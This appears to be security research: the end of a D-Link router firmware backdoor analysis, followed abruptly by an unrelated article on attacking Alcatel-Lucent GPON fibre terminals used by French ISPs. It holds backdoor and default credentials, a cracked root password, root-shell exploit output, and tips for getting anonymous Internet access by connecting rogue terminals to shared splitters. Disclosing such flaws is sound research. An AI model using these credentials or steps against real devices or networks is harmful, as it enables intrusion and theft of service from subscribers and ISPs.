root@kali:~/output/1# cd .. && mkdir 2 && cd 2 && unyaffs ../2K-mdm-image-mdm9625.yaffs2
root@kali:~/output/2# ls -latr
total 4
drwxr-xr-x 2 root root 40 Jul 18 2014 sys
drwxr-xr-x 2 root root 40 Jul 18 2014 proc
drwxr-xr-x 2 root root 1300 Jul 18 2014 dev
drwxr-xr-x 2 root root 40 Jul 18 2014 boot
drwxr-xr-x 7 root root 240 Jul 18 2014 var
lrwxrwxrwx 1 root root 8 Jul 18 2014 www -> /usr/www
lrwxrwxrwx 1 root root 11 Jul 18 2014 sdcard -> /media/card
drwxr-xr-x 2 root root 120 Jul 18 2014 mnt
drwxr-xr-x 10 root root 200 Jul 18 2014 media
drwxr-sr-x 3 root root 60 Jul 18 2014 home
drwxr-xr-x 2 root root 60 Jul 18 2014 disk
drwxr-xr-x 3 root root 60 Jul 18 2014 WEBSERVER
lrwxrwxrwx 1 root root 12 Jul 18 2014 linuxrc -> /bin/busybox
drwxr-xr-x 2 root root 6020 Jul 18 2014 bin
drwxr-xr-x 2 root root 40 Jul 18 2014 usr
drwxrwxrwt 2 root root 40 Jul 18 2014 tmp
drwxr-xr-x 4 root root 1140 Jul 18 2014 lib
drwxr-xr-x 31 root root 1680 Jul 18 2014 etc
drwxr-xr-x 2 root root 40 Jul 18 2014 config2
drwxr-xr-x 2 root root 40 Jul 18 2014 config
drwxr-xr-x 2 root root 40 Jul 18 2014 cache
-rw-r--r-- 1 root root 38 Jul 18 2014 build.prop
drwxr-xr-x 21 root root 500 Jul 18 2014 .
drwxr-xr-x 2 root root 3040 Oct 10 23:12 sbin
drwx------ 4 root root 380 Nov 10 17:26 ..
root@kali:~/output/2# ls -latr etc/init.d|tail
-rwxr-xr-x 1 root root 2015 Jul 18 2014 reboot
-rwxr-xr-x 1 root root 10835 Jul 18 2014 power_config
-rwxr-xr-x 1 root root 2138 Jul 18 2014 start_ipacm_le
-rwxr-xr-x 1 root root 609 Jul 18 2014 run-postinsts
-rwxr-xr-x 1 root root 2178 Jul 18 2014 start_appmgr
lrwxrwxrwx 1 root root 8 Jul 18 2014 stop-bootlogd -> bootlogd
lrwxrwxrwx 1 root root 14 Jul 18 2014 syslog -> syslog.busybox
drwxr-xr-x 31 root root 1680 Jul 18 2014 ..
-rwxr-xr-x 1 root root 2681 Oct 11 02:33 dropbear
drwxr-xr-x 2 root root 1180 Oct 11 02:33 .
root@kali:~/output/2#
Backdoor is still started at boot (same SHA256):
root@kali:~/output/2# ls -latr ./etc/init.d/start_appmgr
-rwxr-xr-x 1 root root 2178 Jul 18 2014 ./etc/init.d/start_appmgr
root@kali:~/output/2# ls -latr bin/appmgr
-rwxr-xr-x 1 root root 505728 Jul 18 2014 bin/appmgr
root@kali:~/output/2# sha256sum bin/appmgr
5f1647729327423f525de194322d532acae86d7f4265dc886535fe1252cb4f20 bin/appmgr
root@kali:~/output/2# strings bin/appmgr|grep -i DBG
am_comdbg
HELODBG
BYEDBG
[DBG] Read content <%s> from file...
/var/lte6dbg.log
/var/bgdbg.log
/config/dbglog_ipt6
/var/cmdbg.log
root@kali:~/output/2#
Wow a patch ! Dropbear will listen to port 999999999/tcp (are you sure you want to do this because 999999999 & 0xFFFF = 51711 ?)
root@kali:~/output/2# head -n 30 etc/init.d/dropbear
#!/bin/sh
### BEGIN INIT INFO
# Provides: sshd
# Required-Start: $remote_fs $syslog $networking
# Required-Stop: $remote_fs $syslog
# Default-Start: 2 3 4 5
# Default-Stop: 1
# Short-Description: Dropbear Secure Shell server
### END INIT INFO
#
# Do not configure this file. Edit /etc/default/dropbear instead!
#
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
DAEMON=/usr/sbin/dropbear
NAME=dropbear
DESC="Dropbear SSH server"
DROPBEAR_PORT=999999999
DROPBEAR_EXTRA_ARGS=
NO_START=0
set -e
test ! -r /etc/default/dropbear || . /etc/default/dropbear
test "$NO_START" = "0" || exit 0
test -x "$DAEMON" || exit 0
test ! -h /var/service/dropbear || exit 0
readonly_rootfs=0
root@kali:~/output/2#
Still the same passwords (root / 1234
):
root@kali:~/output/2# john etc/shadow
Loaded 1 password hash (descrypt, traditional crypt(3) [DES 128/128 SSE2])
Press 'q' or Ctrl-C to abort, almost any other key for status
1234 (root)
1g 0:00:00:00 100% 2/3 12.50g/s 25162p/s 25162c/s 25162C/s 123456..marley
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Now with mdm-image-mdm9625.yaffs2
(this appears to be a "test image", without the dropbear tweak):
root@kali:~/output/2# cd .. && mkdir 3 && cd 3 && unyaffs ../mdm-image-mdm9625.yaffs2
Backdoor is still started at boot (same SHA256):
root@kali:~/output/3# ls -latr ./etc/init.d/start_appmgr
-rwxr-xr-x 1 root root 2178 Jul 18 2014 ./etc/init.d/start_appmgr
root@kali:~/output/3# ls -latr bin/appmgr
-rwxr-xr-x 1 root root 505728 Jul 18 2014 bin/appmgr
root@kali:~/output/3# sha256sum bin/appmgr
5f1647729327423f525de194322d532acae86d7f4265dc886535fe1252cb4f20 bin/appmgr
root@kali:~/output/3# strings bin/appmgr|grep -i DBG
am_comdbg
HELODBG
BYEDBG
[DBG] Read content <%s> from file...
/var/lte6dbg.log
/var/bgdbg.log
/config/dbglog_ipt6
/var/cmdbg.log
root@kali:~/output/3#
Wow, the final patch! Dropbear is now listening to port 47980/tcp.
root@kali:~/output/3# ls -latr etc/init.d|tail
-rwxr-xr-x 1 root root 2015 Jul 18 2014 reboot
-rwxr-xr-x 1 root root 10835 Jul 18 2014 power_config
-rwxr-xr-x 1 root root 2138 Jul 18 2014 start_ipacm_le
-rwxr-xr-x 1 root root 609 Jul 18 2014 run-postinsts
-rwxr-xr-x 1 root root 2178 Jul 18 2014 start_appmgr
lrwxrwxrwx 1 root root 8 Jul 18 2014 stop-bootlogd -> bootlogd
lrwxrwxrwx 1 root root 14 Jul 18 2014 syslog -> syslog.busybox
drwxr-xr-x 31 root root 4096 Jul 18 2014 ..
-rwxr-xr-x 1 root root 2677 Oct 10 23:11 dropbear
drwxr-xr-x 2 root root 4096 Oct 10 23:11 .
root@kali:~/output/3# head -n 30 etc/init.d/dropbear
#!/bin/sh
### BEGIN INIT INFO
# Provides: sshd
# Required-Start: $remote_fs $syslog $networking
# Required-Stop: $remote_fs $syslog
# Default-Start: 2 3 4 5
# Default-Stop: 1
# Short-Description: Dropbear Secure Shell server
### END INIT INFO
#
# Do not configure this file. Edit /etc/default/dropbear instead!
#
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
DAEMON=/usr/sbin/dropbear
NAME=dropbear
DESC="Dropbear SSH server"
DROPBEAR_PORT=47980
DROPBEAR_EXTRA_ARGS=
NO_START=0
set -e
test ! -r /etc/default/dropbear || . /etc/default/dropbear
test "$NO_START" = "0" || exit 0
test -x "$DAEMON" || exit 0
test ! -h /var/service/dropbear || exit 0
readonly_rootfs=0
It took 5 months for D-Link to produce these security patches. It appears only 1 vulnerability was patched.
root@kali:~# diff 202/2K/etc/init.d/dropbear 203/2K/etc/init.d/dropbear
19c19
< DROPBEAR_PORT=22
---
> DROPBEAR_PORT=999999999
root@kali:~#
And:
> /sbin/xxlnetd
< /sbin/telnetd
And finally:
root@kali:~# diff 202/usr/etc/versions 203/usr/etc/init.d/dropbear
< fw_version=02.02EU
---
> fw_version=02.03EU
7c7
< model_name=beUT9Z
---
> model_name=beUT9Z#
root@kali:~#
And the final PoC:
root@kali:~# ssh -l root -p 51711 192.168.1.1
The authenticity of host '[192.168.1.1]:51711 ([192.168.1.1]:51711)' can't be established.
RSA key fingerprint is SHA256:0RCgva9fjvPn6TkN89hkVQHIpHkKfvfsGmYtnOgki0g.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[192.168.1.1]:51711' (RSA) to the list of known hosts.
root@192.168.1.1's password:
root@homerouter:~# ps -a|grep dropbear
352 root 0:00 /usr/sbin/dropbear -r /etc/dropbear/dropbear_rsa_host_key -p 999999999
1190 root 0:00 /usr/sbin/dropbear -r /etc/dropbear/dropbear_rsa_host_key -p 999999999
1203 root 0:00 grep dropbear
root@homerouter:~# netstat -antelapu|grep drop
tcp 0 0 0.0.0.0:51711 0.0.0.0:* LISTEN 318/dropbear
tcp 0 0 192.168.1.1:51711 192.168.1.2:44924 ESTABLISHED 1061/dropbear
tcp 0 0 :::51711 :::* LISTEN 318/dropbear
root@homerouter:~#
Then, the DBG backdoor can be reactivated by an attacker just by adding a symlink from /sbin/telnetd
to /sbin/busybox
.
1. Introduction
2. Explanation of GPON networks
2.1. GPON Network
2.2. ONT/ONU used in this research
2.3. ONT Authentication
3. Studying the ONTs
4. Internet Authentication
4.1. SFR
4.2. Orange
4.3. Bouygues FTTH
5. Security Threat against the GPON FTTH model
6. Physical Security
7. Powning the ONT
7.1. Remote Code execution
7.2. Analysing the ONT
7.3. Backdoor credentials in /etc/passwd*
7.4. Backdoor accounts in the HTTP configuration files
7.5. Bad UNIX RIGHTS and UID/GID everywhere
7.6. Same SSH keys used in all the firmware
7.7. Reverse-engineering - introducing Alcatel binaries
7.8. Reverse-engineering - Strange binary
8. Bruteforce
9. Conclusion
10. Report Timeline
11. Credits and Greetings
12. License
GPON FTTH network is the future: GPON FTTH (Fiber To The Home) is very popular because it is cheap and allows people to download legal Video On Demand damn fast. Everybody wants GPON FTTH at home, you, me, my dog and my neighbors. In fact, you are sharing 2.5gbps of downstream with others clients (but it is still fast).
This article will present FTTH GPON (in)security, based on attacks against IoT. It's mainly written against GPON networks in France and will focus on Alcatel Lucent GPON networks (Orange, Bouygues and SFR). Free FTTH network (point to point network) is out of scope in this research.
This is the first public article about (in)security of FTTH GPON networks. It will contain RCE against ONT/ONU
(the device located in your house which is connected to the fiber optic) and tips how to potentially get an anonymous 1gbps Internet connection in France. The legal implication of this research is interesting: When FTTH connections are involved, the IP used as evidence may not be identifiable any more thus questions its legitimate value.
Telecom Italia did a great presentation about theoretical GPON security in 2009, but there are not a lot of documentations about the security of GPON FTTH networks apart from this presentation. Please note there may have some facts that still need to be clarified in this research (but all the major facts were confirmed by a major French ISP).
This research was mainly done in 2013-2014 but was kept private. It was done for educational purpose in order to understand how GPON FTTH works.
Legal Note: these tests were done using my FTTH connections at home. Yes, you can have up to 4 FTTH connections working at the same time with same or different ISPs in France. Orange was contacted 6 months ago (May 11, 2016) about these vulnerabilities.
You can find FTTH GPON networks in other countries too, e.g. South Korea.
A GPON network is a passive optical network featuring one-to-multipoint architecture.
It consists of Optical Line Terminal (OLT
), Passive Optical Splitter and Optical Network Unit (Optical Network Transceiver, ONU/ONT
). The fiber optic strands are shared among multiple clients: splitters are used to separate and aggregate the optical signal.
GPON
is the acronym for Gigabit-capable Passive Optical NetworksOLT
is the acronym for Optical Line Terminal.ONU
is the acronym for Optical Network Unit. - multiple clientsONT
is the acronym for Optical Network Transceiver or Optical Network Terminal - single clientsSLID
is the acronym for Subscriber Line IDentifier.POS
is the acronym for Passive Optical Splitter.A GPON network allows multiple ISP. In France, Orange, SFR and Bouygues Telecom are using the same GPON FTTH networks.
The ONU
is hosted at home, and it encodes and receives the signal for the fiber. It's basically a blackbox.
We can name the ONU
an ONT
(Optical Network Transceiver) because it translates the signals present in the fiber (light) into electrical signals (RJ45), and vice versa.
They are connected in the underground to a large passive splitter. This splitter doesn't have physical security protection (we will speak about this point later).
-- Photo from http://www.degroupnews.com/dossier/sfr-pose-la-fibre-optique-dans-un-appartement
Transmission of data:
According to the specification, transmitting upstream is in cleartext.
The downstream can be optionally encrypted using AES-128. It depends on the ISP.
From a Huawei presentation:
From left to right:
ONT
currently provided by SFR France: Alcatel I-020G-F.ONT
provided by Orange France since 2014: Alcatel I-010G-A.ONT
provided by Orange France in 2013: Alcatel I-010G-A.From left to right:
ONT
provided by Orange France in 2013.ONT
provided by Orange France since 2014.ONT
currently provided by SFR France.The fiber is linked to a remote OLT
managed by the ISP, as shown in the network diagram. The RJ45 port is normally linked to a proprietary triple-play box (or a linux/*BSD router).
The ONT
provided by SFR has 2 gigabit RJ45 connectors. Only the port 1 seems to be usable.
The 3 ONT
are Alcatel-Lucent products. They seem to share the same vulnerabilities.
G.984.3 defines two authentication mechanisms:
ONU/ONT
to an OLT
, using a shared SLID
(Subscriber Line IDentifier)SLID
is unknown and the OLT
activates the ONT/ONU
on the fly.There is no verification of the remote OLT
, so authentication with a rogue remote OLT is possible, allowing wiretapping. This is another subject.
The SLID
can be in different modes:
PERMANENT
VOLATILE
REGISTRATION
The SLID
can be saved in two formats: hexadecimal or alphanumeric.
From my research, the SLID
for a SFR connection is VOLATILE
and is not set to a fixed value: the OLT
activates the ONT
on the fly.
The SLID
for an Orange connection is PERMANENT
and is a shared secret between the ONU/ONT
and the OLT
. The SLID is entered into the ONT
by a technician when he comes to your home to install the fiber.
The authentication is based on this value. Changing the SLID
to an incorrect value will interrupt the connection of the ONT to the remote OLT
, which means NO INTERNET.
The SLIDs
that were linked to my Orange FTTH accounts were (obfuscated, with 0 for numbers and X for letters):
ONT
is our heaven's gate. Controlling ONT
will give us a lot of possibilities.
You need to be on the same subnet to access to ONT
:
user@kali:~$ sudo ifconfig eth0 192.168.4.1 netmask 255.255.255.0
Nmap against the device:
user@kali:~$ sudo nmap -sS -sV -v -O -n 192.168.4.254
Starting Nmap 4.37 ( http://nmap.org ) at 2014-02-03 12:54 EDT
NSE: Loaded 29 scripts for scanning.
Initiating ARP Ping Scan at 12:54
Scanning 192.168.4.254 [1 port]
Completed ARP Ping Scan at 12:54, 0.05s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 12:54
Scanning 192.168.4.254 [1000 ports]
Discovered open port 23/tcp on 192.168.4.254
Discovered open port 22/tcp on 192.168.4.254
Discovered open port 80/tcp on 192.168.4.254
[...]
PORT STATE SERVICE VERSION
22/tcp open tcpwrapped
23/tcp open telnet Linux telnetd
80/tcp open http BusyBox httpd
MAC Address: AC:9C:E4:AA:AA:AA (Alcatel-Lucent Shanghai Bell Co.)
No exact OS matches for host (If you know what OS is running on it, see http://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=6.47%E=4%D=6/30%OT=22%CT=1%CU=36398%PV=Y%DS=1%DC=D%G=Y%M=AC9CE4%T
OS:M=5592C9CF%P=x86_64-unknown-linux-gnu)SEQ(SP=CE%GCD=1%ISR=D0%TI=Z%CI=Z%I
OS:I=I%TS=8)OPS(O1=M5B4ST11NW0%O2=M5B4ST11NW0%O3=M5B4NNT11NW0%O4=M5B4ST11NW
OS:0%O5=M5B4ST11NW0%O6=M5B4ST11)WIN(W1=16A0%W2=16A0%W3=16A0%W4=16A0%W5=16A0
OS:%W6=16A0)ECN(R=Y%DF=Y%T=40%W=16D0%O=M5B4NNSNW0%CC=N%Q=)T1(R=Y%DF=Y%T=40%
OS:S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=Y%DF=Y%T=40%W=16A0%S=O%A=S+%F=AS%O=M5B
OS:4ST11NW0%RD=0%Q=)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y
OS:%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%R
OS:D=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IP
OS:L=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Uptime guess: 0.001 days (since Tue Feb 03 12:52:52 2014)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=206 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; Device: media device; CPE: cpe:/o:linux:linux_kernel
The daemon on port 22 doesn't want to speak to my telnet client :(
user@kali:~$ telnet 192.168.4.254 22
Trying 192.168.4.254...
Connected to 192.168.4.254.
Escape character is '^]'.
PATATE
Connection closed by foreign host.
user@kali:~$
From my research, an ONT has two remote panels:
There is a documented backdoor account in the busybox mailing list (2009, http://lists.busybox.net/pipermail/busybox/2009-July/070031.html written by an Alcatel employee). This is a limited account, allowing only to change small things in the device:
login: CRAFTSPERSON (was "CRAFT" at first, from the mailing list post)
password: ALC#FGU
This is the account used by technicians to configure the ONT
during the FTTH installation and is widely known.
The backdoor account can be found too using the NeufBox configuration API
user@kali:~$ wget 'http://ncdn.nb4dsl.neufbox.neuf.fr/nb6_Version%203.3.9/NB6-CONFIG-R3.3.9.2'
This file contains the credentials for the ONT:
</plc>
<ont>
<active>on</active>
<mode>ondemand</mode>
<ip>192.168.4.254</ip>
<userI010>admin4me</userI010>
<passwordI010>connect4you@support</passwordI010>
<defslidI010>1111111111</defslidI010>
<userI020>CRAFTSPERSON</userI020>
<passwordI020>ALC#FGU</passwordI020>
<defslidI020>DEFAULT</defslidI020>
<delay>
<system>600</system>
<webui>300</webui>
</delay>
<debug>off</debug>
</ont>
Administration webpage (in Flash) using the credentials:
Login to the first Orange ONT using the backdoor account will provide a restricted shell.
user@kali:~$ telnet 192.168.2.254
Trying 192.168.4.254...
Connected to 192.168.4.254.
Escape character is '^]'.
MontaVista(R) Linux(R) Professional Edition 3.1
Linux/ppc 2.4.20_mvl31-gponsoc
(none) login: CRAFTSPERSON
Password:
MontaVista(R) Linux(R) Professional Edition 3.1
===============================================================
Craft user Login
===============================================================
Main Menu
===============
1. Enter SLID in volatile mode
2. Enter SLID in permanent mode (non-volatile)
3. Enter SLID in registration mode (non-volatile)
4. Retrieve SLID
5. Clear SLID
6. Retrieve ranging state
7. Retrieve optical level
8. More options
9. Logout
Enter choice : 4
The SLID in ALPHANUMERIC MODE (Volatile) : DEFAULT
Main Menu
===============
1. Enter SLID in volatile mode
2. Enter SLID in permanent mode (non-volatile)
3. Enter SLID in registration mode (non-volatile)
4. Retrieve SLID
5. Clear SLID
6. Retrieve ranging state
7. Retrieve optical level
8. More options
9. Logout
Enter choice : 6
Ranging State = Initial State (Auto-Disable State = Normal State)
press enter key to continue...
Main Menu
===============
1. Enter SLID in volatile mode
2. Enter SLID in permanent mode (non-volatile)
3. Enter SLID in registration mode (non-volatile)
4. Retrieve SLID
5. Clear SLID
6. Retrieve ranging state
7. Retrieve optical level
8. More options
9. Logout
Enter choice : 7
ponOpticalSignalLevel = -50.00 dBm
press enter key to continue...
Main Menu
===============
1. Enter SLID in volatile mode
2. Enter SLID in permanent mode (non-volatile)
3. Enter SLID in registration mode (non-volatile)
4. Retrieve SLID
5. Clear SLID
6. Retrieve ranging state
7. Retrieve optical level
8. More options
9. Logout
Enter choice : 8
Additional menu items are not available, press enter key to continue...
This account can only configure options relative to the SLID
and can show the SLID
and the fiber optical signal level.
When you connect the fiber to the ONT
, then the ONT
to the proprietary box (router), you need to understand how the proprietary box gets an Internet connection:
(Internet) ---Fiber--- [ONT] ---RJ45--- [Router provided by the ISP]
| |
RJ45 Wifi
| |
[Computer 1] [Computer 2]
By using a Linux/BSD computer instead of the provided router:
(Internet) ---Fiber--- [ONT] ---RJ45--- [Linux Computer]
When using SFR, there is no Internet Authentication.
Assuming you are sending the correct vendor string in the DHCP request:
send dhcp-class-identifier "neufbox5_NB5-SER-r1_ND5-MAIN-R2.2.2";
Typing dhclient eth0
in your Linux laptop, connected to the ONT, will give you a public IP on your eth0 interface.
When using Orange, the situation is MUCH more complicated. There is a complicated authentication for accounting.
You have to do PPPoE authentication over VLAN835. In my view, PPPoE is used because of legacy reason (compatibility with RTC and ADSL authentication servers).
835 seems to be a tribute to the 8/35 VCI/VPI
(Virtual Path Identifier, Virtual Circuit Identifier) used in ADSL connection with ATM encapsulation. Others VLANs are used (for voice and for TVs but it's out of scope).
An OpenBSD configuration is:
# cat /etc/hostname.if0
up
# cat /etc/hostname.vlan835
vlan 835 vlandev if0 up
# cat /etc/hostname.pppoe0
inet 0.0.0.0 255.255.255.255 NONE \
ppppoedev vlan835 authproto chap \
authname 'fti/XXXXXXX' authkey 'XXXXXXX'
up
dest 0.0.0.1
!/sbin/route add default ifp pppoe0 0.0.0.1
#
A Linux configuration is more complex (from https://benjamin.sonntag.fr/spip.php?page=forum&id_article=43&id_forum=60&lang=fr):
$ cat /etc/network/interfaces
auto eth0 eth0.835 ppp0
iface eth0 inet manual
iface eth0.835 inet manual
iface ppp0 inet ppp
provider ft_fibre
$ cat/etc/ppp/peers/ft_fibre
pty "/usr/sbin/pppoe -I eth0.835 -T 80 -m 1452"
noipdefault
hide-password
lcp-echo-interval 20
lcp-echo-failure 3
connect /bin/true
noauth
persist
mtu 1492
usepeerdns
defaultroute
noaccomp
default-asyncmap
plugin rp-pppoe.so eth0.835
user "fti/XXXXXXX"
$ cat /etc/ppp/chap-secrets:
"fti/XXXXXXX" * "XXXXXXX"
Note that when you are using an Orange connection, you are directly authenticated on the orange website (www.orange.fr), based on your IP. You can manage the connection, read the emails, evil stuff ...
From my research, you need valid PPPoE FTTH credentials. ADSL and RTC credentials don't work.
Breaking news: it appears Orange is starting to replace PPPoE authentication with DHCP (without authentication) since november 2015. This needs to be confirmed but several sources use DHCP to get a working IPv4.
When using Bouygues, there is no Internet Authentication.
Bouygues uses DHCP over VLAN200.
Assuming you are sending the correct vendor string in the DHCP request with the MAC address of the provided router:
send vendor-class-identifier "byteliad_data";
Typing dhclient eth0.200
in your Linux laptop, connected to the ONT, will give you a public IP on your eth0.200 interface.
From telecomitalia_delutiis_nextgenerationaccessnetwork(in)security.pdf:
The security mechanisms already defined are based on the assumption that all the GPON elements will be strongly physically protected. GPON communication are vulnerable to severe security issues, such as:
Fake/Forged OLT: currently no OLT identification and authentication mechanisms have been specified
Man In The Middle (MITM) attacks
Passive attacks: password and keys sent as cleartext Active attack: sensitive PLOAM messages are not authenticated (e.g. PASSWORD, encryption KEY)
Several kinds of DOS (Denial of Service) at GPON level e.g. during the activation phases.
-- telecomitalia_delutiis_nextgenerationaccessnetwork(in)security.pdf
From what we know now, an attacker can easily go in the basement of buildings and connect rogue ONTs
to the splitter by disconnecting legitimate clients. It appears all the GPON elements are not strongly physically protected and having access to elements is trivial.
Photos from http://www.degroupnews.com/dossier/sfr-pose-la-fibre-optique-dans-un-appartement:
If they are SFR clients, just connecting an ONT
configured in a VOLATILE
mode will give, in theory, an attacker an anonymous high speed (1gpbs) Internet Access with a public IP address.
If they are Bouygues clients, just connecting an ONT
configured in a VOLATILE
mode will give, in theory, an attacker an anonymous high speed (1gpbs) Internet Access with a public IP address.
If they are Orange clients, an attacker needs to have a valid SLID
and valid FTTH credentials to get an Internet connection: this sucks for the attacker but there are solutions (hint: SLID
bruteforce). Note that, apparently, Orange is starting to accept DHCP instead of PPP authentication.
As we've already see, the ONT/ONU
are Linux/ppc 2.4.20_mvl31-gponsoc clients
devices.
Note that Bouygues seems to use another model of ONT.
We are lucky to see there is a trivial RCE in the CGIs available and 2 valid 0day exploits were written for the noble cause.
user@kali:~$ ./hacktheplanet.sh
Adding an user ONT / ALC#FGU
Launching telnet client
Trying 192.168.4.254...
Connected to 192.168.4.254.
Escape character is '^]'.
MontaVista(R) Linux(R) Professional Edition 3.1
Linux/ppc 2.4.20_mvl31-gponsoc
(none) login: ONT
Password: ALC#FGU
MontaVista(R) Linux(R) Professional Edition 3.1
BusyBox v1.4.2 (2010-11-10 23:30:26 EST) Built-in shell (ash)
Enter 'help' for a list of built-in commands.
$ id
uid=100(CRAFTSPERSON) gid=100(users)
$ ls -latrR /
Segmentation fault
$ echo wow
wow
$ ps -auxww
PID Uid VmSize Stat Command
1 root 564 S init [3]
2 root SW [keventd]
3 root SWN [ksoftirqd_CPU0]
4 root SW [kswapd]
5 root SW [bdflush]
6 root SW [kupdated]
7 root SW [mtdblockd]
109 root 644 S /usr/sbin/inetd
126 root SWN [jffs2_gcd_mtd3]
138 root 1600 S /usr/sbin/sshd
417 root 1212 S /usr/alcatel/bin/dbg_logger
418 root 1212 S /usr/alcatel/bin/dbg_logger
420 root 1212 S /usr/alcatel/bin/dbg_logger
431 root 1244 S N /usr/alcatel/bin/bkgndprocess
439 root 1124 S /usr/alcatel/bin/ontah
450 root 1256 S /usr/alcatel/bin/parser
462 root 1616 S /usr/alcatel/bin/omciMgr
473 root 1400 S /usr/alcatel/bin/gponMac
516 root 672 S /usr/bin/httpd -h /usr/alcatel/web
531 root 1648 S /var/temp/tagging
546 root 1348 S /usr/alcatel/bin/IGMP
554 root 1268 S /usr/alcatel/bin/ethOAM
563 root 1180 S N /usr/alcatel/bin/rateShaping
572 root 1144 S N /usr/alcatel/bin/IBcast
589 root 1256 S N /usr/alcatel/bin/EFMOAM
602 root 1256 S N /usr/alcatel/bin/EFMOAM
603 root 1256 S N /usr/alcatel/bin/EFMOAM
604 root 1256 S N /usr/alcatel/bin/EFMOAM
605 root 1176 S /usr/alcatel/bin/eqpt
613 root 1648 S /var/temp/tagging
614 root 1648 S /var/temp/tagging
615 root 1648 S /var/temp/tagging
616 root 1256 S /usr/alcatel/bin/parser
617 root 1256 S /usr/alcatel/bin/parser
618 root 1348 S /usr/alcatel/bin/IGMP
619 root 1348 S /usr/alcatel/bin/IGMP
620 root 1268 S /usr/alcatel/bin/ethOAM
621 root 1268 S /usr/alcatel/bin/ethOAM
622 root 1268 S /usr/alcatel/bin/ethOAM
627 root 1180 S N /usr/alcatel/bin/rateShaping
628 root 1180 S N /usr/alcatel/bin/rateShaping
629 root 1144 S N /usr/alcatel/bin/IBcast
630 root 1144 S N /usr/alcatel/bin/IBcast
646 root 524 S /sbin/getty -L tts/1 9600 115200 vt100
908 root 652 S inetd
1155 root 832 S in.telnetd: 192.168.4.251
1156 CRAFTSPERSO 848 S -sh
1520 CRAFTSPERSO 648 R ps -auxww
$
Nice but I prefer a root shell:
user@kali:~$ ./hackthemoon.sh
to the moon ...
done
id
uid=0(root) gid=0(root)
echo much access very root !
much access very root !
ls -la
drwxr-xr-x 15 3079 619 1024 Jun 29 2013 .
drwxr-xr-x 15 3079 619 1024 Jun 29 2013 ..
drwxrwxrwx 2 4223 619 1024 Nov 18 2010 bin
drwxr-xr-x 1 root root 0 Jan 1 1970 dev
drwxrwxrwx 11 4223 619 1024 Dec 31 23:59 etc
drwxrwxrwx 4 51454 619 1024 Nov 11 2005 home
drwxrwxrwx 4 4223 619 2048 Aug 2 2005 lib
drwx------ 2 root root 12288 Jun 29 2013 lost+found
drwxrwxrwx 2 51454 619 1024 Aug 2 2005 mnt
dr-xr-xr-x 64 root root 0 Jan 1 1970 proc
drwxrwxrwx 2 51454 619 1024 Aug 2 2005 root
drwxrwxrwx 2 4223 619 1024 Aug 2 2005 sbin
drwxrwxrwx 2 51454 619 1024 Jan 1 00:00 tmp
drwxrwxrwx 11 4223 619 1024 Aug 2 2005 usr
drwxrwxrwt 5 root root 100 Jan 1 2006 var
echo nice unix rights !!
nice unix rights !!
You can fetch hacktheplanet.sh.
You can fetch hackthemoon.sh.
A proofreader noted that it would be easier to create an exploit which adds an user with UID 3079 and GID 619. He is right.
Memory/CPU:
$ cat /proc/meminfo
total: used: free: shared: buffers: cached:
Mem: 62537728 55193600 7344128 0 663552 31174656
Swap: 0 0 0
MemTotal: 61072 kB
[...]
$ cat /proc/cpuinfo
cpu : e300c2 (83xx)
revision : 0.32 (pvr 8084 0020)
bogomips : 188.00
Vendor : Freescale Inc.
Machine : msc7120
core clock : 282 MHz
bus clock : 141 MHz
PVR : 0x80840020
SVR : 0x80400010
SPRIDR : 0x80400021
PLL setting : 0x8
Memory : 64 MB
$ uname -ap
Linux (none) 2.4.20_mvl31-gponsoc #1 Wed Jul 31 09:26:02 EDT 2013 ppc unknown
$
The /etc/passwd*
files contain backdoor credentials to login to the remote ONT:
user@kali:~$ cat passwd
root:*:0:0::/tmp:/bin/sh
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/usr/sbin:
sys:*:3:3:sys:/dev:
adm:*:4:4:adm:/var/adm:
lp:*:5:7:lp:/var/spool/lpd:
sync:*:6:8:sync:/bin:/bin/sync
shutdown:*:7:9:shutdown:/sbin:/sbin/shutdown
halt:*:8:10:halt:/sbin:/sbin/halt
mail:*:9:11:mail:/var/spool/mail:
news:*:10:12:news:/var/spool/news:
uucp:*:11:13:uucp:/var/spool/uucp:
operator:*:12:0:operator:/root:
games:*:13:100:games:/usr/games:
ftp:*:15:14:ftp:/var/ftp:
man:*:16:100:man:/var/cache/man:
nobody:*:65534:65534:nobody:/home:/bin/sh
CRAFTSPERSON:$2$367ffe585fc3070eabc901c03cd561d062ce1b67:100:100::/tmp:/usr/alcatel/bin/craftsh
sshd:*:74:74:Privilege-separated SSH:/tmp:/sbin/nologin
ONTUSER:$2$6003c3d66874a4fd38aecb0b09db563e85a62ad6:0:0::/tmp:/bin/sh
It appears that ONTUSER
is a backdoor root account.
Other files exist in /etc - passwd.ENABLE
:
user@kali:~$ cat passwd.ENABLE
root:*:0:0::/tmp:/bin/sh
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/usr/sbin:
sys:*:3:3:sys:/dev:
adm:*:4:4:adm:/var/adm:
lp:*:5:7:lp:/var/spool/lpd:
sync:*:6:8:sync:/bin:/bin/sync
shutdown:*:7:9:shutdown:/sbin:/sbin/shutdown
halt:*:8:10:halt:/sbin:/sbin/halt
mail:*:9:11:mail:/var/spool/mail:
news:*:10:12:news:/var/spool/news:
uucp:*:11:13:uucp:/var/spool/uucp:
operator:*:12:0:operator:/root:
games:*:13:100:games:/usr/games:
ftp:*:15:14:ftp:/var/ftp:
man:*:16:100:man:/var/cache/man:
nobody:*:65534:65534:nobody:/home:/bin/sh
